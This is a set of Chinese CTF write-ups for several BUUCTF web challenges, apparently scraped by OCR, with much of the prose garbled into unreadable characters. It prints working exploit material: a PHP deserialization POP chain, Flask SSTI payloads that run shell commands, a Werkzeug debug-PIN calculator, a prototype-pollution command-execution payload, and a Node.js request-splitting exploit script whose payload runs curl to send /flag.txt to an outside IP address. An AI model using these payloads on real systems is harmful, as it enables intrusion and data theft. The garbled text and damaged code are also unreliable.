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Ezupload

XIER H RS RITE R RR, EIERRLTENEEPE —BRiRE~~
SHE®E £ php B, B3 flag ~~
X JLIE—TF EA4% shell BEEKITERL

<?php

error_reporting(0);

header("Content-type: text/html; charset=utf-8");

$sandbox="sandbox/"'.md5($_SERVER[ 'remote_addr']);

echo $sandbox;

mkdir($sandbox);

chdir($sandbox);

if ('empty($_FILES)):

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);

if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');

move_uploaded_file($ FILES['file upload']['tmp_name'], './' . $ FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$ FILES['file_ upload']['name']}'>{$ FILES['file_ upload'][ 'name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
bAE: <input type="file" name="file upload">
<input type="submit">
</form>

X LAR B B A i)

if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');


https://blog.csdn.net/a3320315
https://blog.csdn.net/a3320315/category_9216195.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/a3320315/article/details/104505338
https://blog.csdn.net/a3320315/category_9216195.html
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ezupload(SU)

A ENZE Fapache ssi ree J{E.
BEFEEENZE— T XM LEE, oJ@d L&
shtmlI>€4E B php—a)iER 5

ARIEFERWNE ERZEN Nshell, EFRRBEZEN
readfilefE 5 1ZE flag,

babyphp

Sl — T RB IR

require_once('lib.php"');

echo '<html>

<meta charset="utf-8">

<title>update</title>

<h2>XR—ANREBITE, HEEEVMBRATE</h2>

</html>";
if ( ["login']!=1){
echo "fRIEEEFEZME! ";
¥
=new User();
->update();
if( ["login']===1){

require_once("flag.php");
echo

}

RIS IRATENIE FEHAT $_SESSION[ 'login' ]===1, I RMHIRELERNIEEFER, RERMUNTE sql HEANRE

#l admin )2 L~~

g RBARIIX IR N, BARNTFEEN, BEAERIINFRBARE, FARARBRALE die B, FHIET AEHIT, &
EAESS T ~~



public function login($=sgl)

{
Sthis->mysgli=new mysgli (Sthis-rhostname, Sthis-rdbuser, Sthis->dbpass, Sthis->»database);
if [$thj.s—:=mysqli—:=con.nect_EIIDI] {

die("EEREN, £ix:" . $this->mysgli->connect error);
Sresult=Sthis->mysgli-= (Ssqgl) ; /
$Iesu1t—>bind_paxamt'3', Sthis->name) ;

Sresult-»execute () ;

S$result->bind result ($idResult, $passwordResult):
Sresult-=fetch() ;

Sresult->close () :

if (Sthis->token=—'admin') {
return SidResult:

if (!5idResult) {
echo (' BT IFEE! ") ;

return false;

if (md5 (Sthis->password) !==S$passwordResult) {

echo (' FEIIFEIE! ")

return false:

$_SESSION['token']=$this->name; *""—_

return SidResult:

XA RPDOTG KM AN FAEENRELR, XILTEBRAEA adnin B3R, BOARERBERINITH, HEAIUadminEF/E,
XAMHEET $_SESSTON BN admin (HRXILERFFIMEIRE RN HBINRFIMERIE, ZANRREREGRF
M, WSH adnin, HHEERS HMERE~~

& T KA

public function login () {
if (isset (S POST['username'])&&isset (S POST['password'])) {
Smysgli-new dbCtrl():;
Sthis->id=S%mysgli->login('select id,password from user where username=2'");
if($this->id) {ew—
S_SESSION[ 'id']=5%this—>id;
$_SESSION ["login']=1;
echo "{RIFJID/E".$ SESSION['id'];
echo "fRLF! ".$ SESSION['token'];
echo "<script>window.location.href="./update.php'</script>";
return Sthis->id;

}

BREr REARBMEM S $_SESSION[ 'login'] HIME N1

if (Sthis->token=='admin') {
return SidResult;

MERAFIERAE
LRFFIME T, ARSI A AW RO, FREE, BRI, MEER flag



HRBATRFH— T R FFILHIpopsE, B 56 H A — Ak I

ﬁublic function _ destruct() {
retfn file get contents ‘$1:\his—>nickname) i/ /TG
\_

XANRFFFIA AT AL S, (HRflaghoduE T, WAL R ag.php, 1 HXILEEEZK A, 7R echo, AJUEEERA
&, FTUAIX LR BRARE

pop# #i&

<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
public function __ construct(){
$this->age="select "1", "21232f297a57a5a743894a0e4a801fc3"";
$this->nickname=new Info();

}

class Info{
public $CtrlCase;
public function __ construct(){
$this->CtrlCase=new dbCtrl();

}
Class UpdateHelper{

public $sql;
public function __ construct(){
$this->sql=new User();

b
)
class dbCtrl
{

public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";

public $password="admin’;

}
echo serialize(new UpdateHelper());
?>

T B 150 B — T B R 7 X
UpdateHelper() & echo $this->sql; , SRJGIAH User() B _ toString B%L, FHAA Info() M _ call ¥, &EH
F dbctrl ) sql $ATEREL, XHEBMBELIGER T ~~

FfhsqliE 4

~

AT LIAT FIsqiiE AR
select "1", "21232f297a57a5a74389420e4a801fc3"

H A8 A admin K MDs 18, FIBTERATFFILES 55 password Fl name #M admin , XRFEEEFRINT



—

PR MG B sql 18], 8 HBERE %G

I
$ SESSION|['token']=5$this->name;
return SidResult;

AR B AR A
16, BrABRAITAT LKA i

select password, '21232f297a57a5a74389420e4a801fc3' from user username = 'admin'’

XEM A ERE SRR KPS R ik
DRI th B THKKXE, KXTUSHEE—T

B

o EEREFE update.php REGHPATIHF, EEEA T $users->update()

o RIEEFWILITIHFIILE
update B AT I 751 4L
$Info=unserialize($this->getNewinfo());

EAEIEFIILEIRInfoR, REHAN safe REITIE

return safe(serialize(new Info($age,$nickname)));

o TEIHERFHKIFIILAR

0:4:"Info":3:{s:3:"age";s:6:"we_age";s:8:"nickname";s:11:"we_nickname";s:8:"CtrlCase";N;}

o ITENHIEANIH EHIpopBEHI N A

0:12:"UpdateHelper":1:{s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4
a801fc3"";s:8:"nickname";0:4:"Info":1:{s:8:"CtrlCase";0:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser
";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:5:"admin"

5113}

BRMNBERPBBERNTEEZREBAZRGFILARS, FFRIIHR T

BRATTLLIERATFEREE R 341 NMEFF, MRMNBHRMFETDIEBEB/AK S *, XEBHK hacker , FEERIERSAFRF~~
DIFRA =0— REBRMNFEM pop HEFRF
BRMZEDTFEWE R AT

***********";S o910 "1";5@—‘}


https://blog.csdn.net/a3320315/article/details/104118688

N ARZAFET, BRNBREE=ZN—FEHHEN—A, WRREHZROFHARSBEF, 756N E 5 IFF S EXT
BT

BATWRAI—A s:1:"1, RAVRWKE =M RER T — MK, XHERABRIIRFFL
A1 pythonf) 7 d 2445

{

“name”:“pony’”,

“class”:"655”

}

BRI, RIS LRI AMET

{

“name”:“pony’,

“class”

-

RRE—ARKIE T

THRITRITET * KM

XJUVNFRRRATL A

"ys:1:v1; ), XILEBMT H—AFRK

BAVRFIZE LT H R TE, BT *H x

M 341+x+11=6x , XFEXHEAGEDEL, FrURNETUAREH } FHBNFER, FEHSBONHEE, RNIAFTEHHFMI
MM FRAT LT, X x A 71, Bl 724 *

B 5 XA T
***********************************************************************";S:l:"1";0:12:"UpdateHelper":l:
{s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select "1",
"21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";0:4:"Info":1:{s:8:"CtrlCase";0:6:"dbCtrl":6:
{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"n

ame";s:5:"admin";s:8:"password";s:5:"admin"; }}}}}xxx



POST Jupdate. php HTTP/1.1

HTTR/M.1 200 OK

A n
Host: 1696eee7-605a-490a-6f70-69ecEfd38588. nade3. buuoj.cn F Server: openresty F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.73.0) Gecko/20100101 Firefox/73.0 Date: Tue, 25 Feb 2020 13:56:08 GMT
Accept: text/html application/xhtml+xml application/xml;g=0.9 image/webp " g=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK; q=0.5 en-US;g=0.3 en;q=0.2 Content-Length: 164
Accept-Encoding: gzip, deflate Connection: close
Referer: http:/f1696eee7-605a-490a-870-692c6fd3588 node3. buuoj.cnfupdate. php Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: application/x-www-form-urlencoded Expires: Thu, 19 MNov 1981 08:52:00 GMT
Content-Length: 441 Pragma: no-cache
Origin: hitp://16962ee7-605a-490a-8f70-69 88.node3. buuoj.cn ¥-Powered-By: PHP/5.6.40
Connection: close
Cookie: PHPSESSID=1111 <html>
Upgrade-Insecure-Requests: 1 <meta charset="utfg">
<title=update </title>
age=aknickname= 251" 012 "Updat <h2> B —4 G BT TR, LR R i B A DL T < /2>
eHelper":1:{s:3:"sql"; O:4:"User":3:{s: (503 "age"; s 46 "select "1", s/html=> R R 100
"21232297 a7 aba7 43894 a0e4a801fc3""; 5:8: "nickname"; 0:4:"Infa" 1:{s:8:"CtriCase"; 0:6: "dbCtr":E:{s:
8:"hostname";5:9:"127.0.0.1" 5:6: "dbuser”; s:4: "root"; s:6:"dbpass";s:4: "root"; s:8: "database"; 514 "test”
s " name”; s:5:"admin";s:8: "password"; s:5: "admin"; }} 1 h
HTRZEME T, BriliXkEH# T 4> PHPSESSID
BAVENEF A, 1275 # PHPSESSID
nEyusa neapwnas
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST /login.php HTTP/.1 : HTTR/1.1 200 Ok

Host: 1696eee7-605a-4903-8f70-69ec6fd3.5588. node3. buuoj.cn

UserAgent: Mozilla/5.0 (Windows MT 10.0; WinE4; x64; n.73.0) Gecko/20100101 Firefox/73.0
Accept: text/html, application/xhtml+xml,application/xml; q=0.9 imagefwebp */* q=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://1696eee7-605a-490a-8f70-69ecbfd3e588. node3. buuoj.cnfindex. php?action=login
Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http:/f1696eee7-605a-490a-8f70-69ec6fd3e588. node3. buuoj.cn

Connection: close =

Cookie PHPSESSID=1111|

Upgrade-Insecure-Requests: 1

username=adminfpas sword=xoo0oono

1\_

Server: openresty

Date: Tue, 25 Feb 2020 13:58:21 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 717

Connection: close

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Fragma: no-cache

X-Powered-By: PHP/5.6.40

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2> Fi M3 e - 6 B R di</h2 >
<h3>:R fh REE WG QT B s <3
<input type="text" name="usemame" placeholder="UserNamez" required=

<hr=
<input type="password" style="margin-top: 20" name="passward"
placeholder="password" required=

<hr=

<hbutton style="margin-top:20;" type="submit"> & </button>
<br=

<img sre=lmgf . jpg'=> X E D FHEE B </img >

<hr=

<hr=

HREGID AN 47! admin<script>window.location.href="Jupdate.php'</script> </form:>
</center>

XARHE B R ERNIdAT, WTDE RRAELREERAR, BERERE, XA EETI#Eupdate REHEEE Riag T



[

) | £ 1696eee7-605a-490a-870-69ec6fd3e588.noded.buuoj.cnf/update.php o @ W
@ Page Sandbox () FHAEH - gsE—F.. @ JavascriptiEigth, .. U BUUCTF Q) GitHub B =RERE BH=ews I assm

X BRE—AAREHNEE, LEENHRARE

flag{75a31d27-5849-4989-8b4b-236a9ec01161}

~N

M O=s= D= Dt NEs (Qeess Qs ORs ek f Tosms
- E Cookie

@ http://1696eee7-605a-490a-8f70-69ec6fd3e588 node3. buucj.cn st wHE BEE TEERE EEEE =
PHPSES... 1696eee7-6053-490a-8f70-69ec6fd3e588.nod / =i Tue, 25 Feb 2020 13:59:.. 1111

+ Cm

HttpOnly SameSite

T MEEES

» (B indexed DB
v B #inree
v B s

Flaskapp
AR E B T, SSTHAE BRPINGG
e T

Flask debug pinZz4: ) i
M— Tt ik ik flask FF J& debug i =77 78 1 %2 4 7] 7

HER - THEDE
o SSTISEFEMBSKIMT, FididsE—L5kia, FidifR e E HEgetshell

{{{}._class__._ base__ . subclasses_ ()[103]._ _init__. globals_ [' builtins_ "|['ev'+"al" (" _imp"+"ort "+" (
'0o"+"s").po"+"pen('dir').read()")}}

{{{}._class__._mro__[1]._ subclasses_ ()[103].__init_ ._ globals_ ['open']('this_is_the_fl'+'ag.txt"').read()}}

o ZERLNTHEAR, XANTEMIDALRE M A FR SR F BN B R~~, ERKZpython2& & & pyc , TMpython3& /5
& py

o EHlusername, XANEEBEEL /etc/passwd BLATLAT

o EEXMACHHE /sys/class/net/etho/address , & )5 ¥+ it Hl

o EHU machine-id , ANdA K jE¥EEdockerd, NEEEL /proc/self/cgroup , HU/docker/[GHKIETF, MBMRXHENEER
B machine-id

RJEHEIBITHARBEIPING, H#ERCE~~


https://xz.aliyun.com/t/2553#toc-2
https://www.anquanke.com/post/id/197602

import hashlib

from itertools import chain

probably public_bits = |
'flaskweb',# username
'flask.app',# modname

' '

__name__ "', getattr(app.__class__,

'

'Flask',# getattr(app, __name__"))
'/usr/local/lib/python3.7/site-packages/flask/app.py"' # getattr(mod, '__file__', None),

private_bits = |
'2485377957890" ,# str(uuid.getnode()), /sys/class/net/ens33/address
'3c7c60af8484830abOble9615fadade74d93a8alllbaadafcd949feeab56c320'# get_machine_id(), /etc/machine-id

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8")
h.update(bit)
h.update(b'cookiesalt")

cookie_name = ' wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt’)
num = ('%09d" % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size ==

rv = '-'.join(num[x:x + group_size].rjust(group_size, '0")
for x in range(@, len(num), group_size))
break
else:
rv = num
print(rv)

easy_thinking

XA E R —Mhinkphp 0 B A & S0 ~~
SR


https://blog.csdn.net/god_zzZ/article/details/104275241

BEFERY, RIIKNEsearch I EEBANEEHET

if (!session{
I
L
session(“Re

explode("”,",$record);
izeof($recordArr);

's$recordArr)
" => "The

XANE session —fEAEAELE /runtime/session U TH, HATEEKERATH PHPSESSID B Nphp L BMERMIT T, ERE
BIEMZRFH R EERN321, SRIGHE A sess_YOURPHPSESSID.php BE1T T

XA RIT I phpinfo, KBLRGRBIEMN, RATERMEHphp7 24 Hexp

WAL E 18 Blflag

X R E 520 06 F0 1 F jsonff g =X
HEW Hexp

{"_proto__ ":{"outputFunctionName":" tmpl;return global.process.mainModule.constructor. load('child_process').ex

ecSync('cat /flag');//"}}

R J5 T35 1R info R T gt AT A T ~~


https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
https://xz.aliyun.com/t/7184

v http:/f5378dflc-e579-4792-bf82-d5c016841954.node3.buuoj.cn/action

Body

form-data x-www-form-urlencoded raw binary GraphQL -

" -{"outputFunctionName":"_tmpl;return global.process.mainModule.corttructor ._load( child_process").execSync( ' cat

shistory.go(-1);

U5 18] BB 12 /83 _E cookie
Node Game

AR HRARE 74— BB AR, HEWEHAFRK, EERFIH node.js v8.12.0 KK
SR

&N chr(oxffao)
b3R5 2 AEWTN chr(oxaoe)

A2 FRATT AT LLIZ A AL 2R 5K

def exp_code(word

return quote(''.join(chr(int('exff"' + hex(ord(c 2 zfill(2 16)) for c in word

AR5 BA A http ) 7 L 2

exp:


https://xz.aliyun.com/t/2894

import requests
import urllib.parse
payload="""x HTTP/1.1

POST /file_upload HTTP/1.1

Host: localhost:8081

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-------------------~—~—~--~-~--- 12837266501973088788260782942
Content-Length: 62792

Origin: http://localhost:8081

Connection: close

Referer: http://localhost:8081/?action=upload

Upgrade-Insecure-Requests: 1

----------------------------- 12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="xxx.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process"').execSync('curl http://129.204.207.114:888 -X POST -d “cat /
flag.txt™ ')
----------------------------- 12837266501973088788260782942 - -

payload = payload.replace("\n", "\r\n")

payload = ''.join(chr(int('@xff' + hex(ord(c))[2:].2zfill(2), 16)) for c in payload)
print(payload)
requests.get('http://101.200.195.106:33322/core?q="+urllib.parse.quote(payload))

exp2:
# exp.py

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1

Host: localhost:8081

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;qg=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----------------~-~ -~~~ -~~~ 12837266501973088788260782942
Content-Length: 6279

Origin: http://localhost:8081

Connection: close

Referer: http://localhost:8081/?action=upload

Upgrade-Insecure-Requests: 1

----------------------------- 12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"



Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd")

def getParm(payload):

payload = payload.
payload = payload.
payload = payload.
payload = payload.
payload = payload.
payload = payload.

payload = payload.
payload = payload.
payload = payload.

# Bypass Waf

payload = payload.
payload = payload.
payload = payload.
payload = payload.
payload = payload.
payload = payload.

5%C5%B3%C5%B3")

payload = payload.

return payload

def run(url,cmd):

------- 12837266501973088788260782942 - -

replace(" ","%CA%A0")
replace("\n", "%C4%8D%CA%8A" )
replace("\"", "%C4%A2")
replace(""'","%CA%AT")
replace(" ", "%C5%A0")
replace("!","%CA%AL")

replace("+","%2B")
replace(";","%3B")
replace("&","%26")

replace("global", "%C5%A7%C5%ACHkCS5%AF%C5%A2%C5%A1%C5%AC" )

replace("process", "%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3" )

replace("mainModule", "%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5" )
replace("require"”, "%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5" )

replace("root", "%C5%B2%C5%AF%C5%AF%C5%B4™)

replace("child_process", "%C5%A3%C5%A8%C5%A9%C5%ACHC5%AA%CS5%IF%C5%BO%CS%B2%C5%AF%C5%A3%CS5%A

replace("exec", "%C5%A5%C5%B%C5%AS%CEHA3")

payloadC = payloadRaw.replace("evalcmd",cmd)

urlC = url+"/corer?q="+getParm(payloadC)

requests.get(urlC)

requests.get(url+'

if __name__ ==

__main__"':

'/?action=5am3_get_flag").text

targetUrl = sys.argv|[1]

cmd = sys.argv[2]

print run(targetUrl,cmd)

# python exp.py http://127.60.0.1:8081 "curl 129.204.207.114:888 -X POST -d “cat /flag.txt "

SHHER
HAEA


https://cjm00n.top/2020/02/24/icq%25E6%2596%25B0%25E6%2598%25A5%25E5%2585%25AC%25E7%259B%258A%25E8%25B5%259Bwp/
http://blog.5am3.com/2020/02/11/ctf-node1/
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